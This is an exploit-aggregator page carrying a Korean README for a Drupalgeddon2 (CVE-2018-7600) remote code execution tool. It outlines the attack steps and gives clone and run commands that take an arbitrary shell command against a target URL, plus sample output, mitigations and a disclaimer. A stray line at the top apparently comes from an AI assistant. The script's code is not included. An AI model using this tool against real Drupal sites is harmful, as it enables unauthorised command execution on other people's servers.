Sploitus

Exploit for CVE-2018-7600

kitploit Β· 2026-08-23

Exploit Code

MARKDOWN106 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XXXTECTATIONXXX-CVE-2018-7600
자, μ‚¬μš©λ²• 뢀뢄도 μΆ”κ°€ν–ˆμŠ΅λ‹ˆλ‹€. `git clone`λΆ€ν„° μ‹œμž‘ν•΄μ„œ READMEκ°€ μ™„μ„±λμŠ΅λ‹ˆλ‹€. 이게 μ΅œμ’… λ²„μ „μ΄λ‹ˆ GitHub μ €μž₯μ†Œμ˜ `README.md`에 κ·ΈλŒ€λ‘œ λ³΅μ‚¬ν•΄μ„œ λΆ™μ—¬λ„£μœΌμ„Έμš”.

# CVE-2018-7600 - Drupalgeddon2 RCE μ΅μŠ€ν”Œλ‘œμž‡

이 μ΅μŠ€ν”Œλ‘œμž‡μ€ **Drupalgeddon2** 둜 μ•Œλ €μ§„ **Drupal 7.56** (및 일뢀 이전 버전)의 취약점을 μ΄μš©ν•©λ‹ˆλ‹€.  
이 취약점은 μ·¨μ•½ν•œ 폼의 결함을 μ•…μš©ν•˜μ—¬ 인증 없이 **원격 μ½”λ“œ μ‹€ν–‰(RCE)**을 κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€.

πŸ”— **μ €μž₯μ†Œ:** https://github.com/xxxTectationxxx/CVE-2018-7600

* * *

## ⚠️ 경고

이 μŠ€ν¬λ¦½νŠΈλŠ” **ν•™μŠ΅ λͺ©μ ** 및 **랩 ν™˜κ²½ ν…ŒμŠ€νŠΈ** λ₯Ό μœ„ν•΄μ„œλ§Œ μ œμž‘λ˜μ—ˆμŠ΅λ‹ˆλ‹€.  
ν…ŒμŠ€νŠΈν•  곡식 ν—ˆκ°€κ°€ μ—†λŠ” μ‹œμŠ€ν…œμ—μ„œ μ‚¬μš©ν•˜λŠ” 것은 κΈˆμ§€λ©λ‹ˆλ‹€.

* * *

## 🎯 λŒ€μƒ 버전

  * νŒ¨μΉ˜λ˜μ§€ μ•Šμ€ Drupal 7.x (7.56 포함)
  * 일뢀 초기 Drupal 8 λ²„μ „μ—μ„œλ„ μž‘λ™ν•  수 μžˆμŠ΅λ‹ˆλ‹€.



* * *

## πŸ“œ κ°„λ‹¨ν•œ μž‘λ™ 방식

  1. `user/password` μ—”λ“œν¬μΈνŠΈμ— PHP의 `passthru()` ν•¨μˆ˜λ₯Ό νŠΈλ¦¬κ±°ν•˜λŠ” λ§€κ°œλ³€μˆ˜κ°€ ν¬ν•¨λœ νŽ˜μ΄λ‘œλ“œλ₯Ό μ „μ†‘ν•©λ‹ˆλ‹€.
  2. μ„œλ²„ μ‘λ‹΅μ—μ„œ `form_build_id`λ₯Ό μΆ”μΆœν•©λ‹ˆλ‹€.
  3. 두 번째 μš”μ²­μ„ 보내 μ›ν•˜λŠ” λͺ…령을 μ‹€ν–‰ν•©λ‹ˆλ‹€.



* * *

## πŸ“¦ μ„€μΉ˜ 및 μ‚¬μš©λ²•

μ €μž₯μ†Œ 클둠:

root@kitploit:~
    
    
    git clone https://github.com/xxxTectationxxx/CVE-2018-7600.git
    cd CVE-2018-7600
    

μ˜μ‘΄μ„± μ„€μΉ˜:

root@kitploit:~
    
    
    pip install requests
    

μ΅μŠ€ν”Œλ‘œμž‡ μ‹€ν–‰:

root@kitploit:~
    
    
    python3 drupalgeddon2.py --URL <target_url> --COMMAND "<command>"
    

μ˜ˆμ‹œ:

root@kitploit:~
    
    
    python3 drupalgeddon2.py --URL http://192.168.60.129 --COMMAND "whoami"
    

## πŸ’» 좜λ ₯ μ˜ˆμ‹œ

root@kitploit:~
    
    
    [*] λŒ€μƒμ— 초기 νŽ˜μ΄λ‘œλ“œ 전솑 쀑...
    [+] form_build_id 발견: form-ABC123XYZ
    [+] λͺ…λ Ή 좜λ ₯:
    www-data
    

* * *

## πŸ›‘οΈ μ™„ν™” 쑰치

  * Drupal을 μ΅œμ‹  λ²„μ „μœΌλ‘œ μ—…λ°μ΄νŠΈν•˜μ„Έμš”.
  * Drupal의 곡식 λ³΄μ•ˆ 패치λ₯Ό μ μš©ν•˜μ„Έμš”.
  * μˆ˜μ • κ³Όμ • 쀑 μ„œλ²„μ— λŒ€ν•œ 접근을 μ œν•œν•˜μ„Έμš”.



* * *

## πŸ“š μ°Έκ³  자료

  * Drupal λ³΄μ•ˆ ꢌ고 SA-CORE-2018-002
  * Exploit-DB ν•­λͺ© #44449



* * *

**λ©΄μ±… μ‘°ν•­:** μž‘μ„±μžλŠ” 이 슀크립트의 μ˜€μš©μ— λŒ€ν•΄ μ±…μž„μ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. ν˜„λͺ…ν•˜κ²Œ μ‚¬μš©ν•˜κ³ , ν…ŒμŠ€νŠΈκ°€ ν—ˆκ°€λœ μ‹œμŠ€ν…œμ—μ„œλ§Œ μ‚¬μš©ν•˜μ„Έμš”.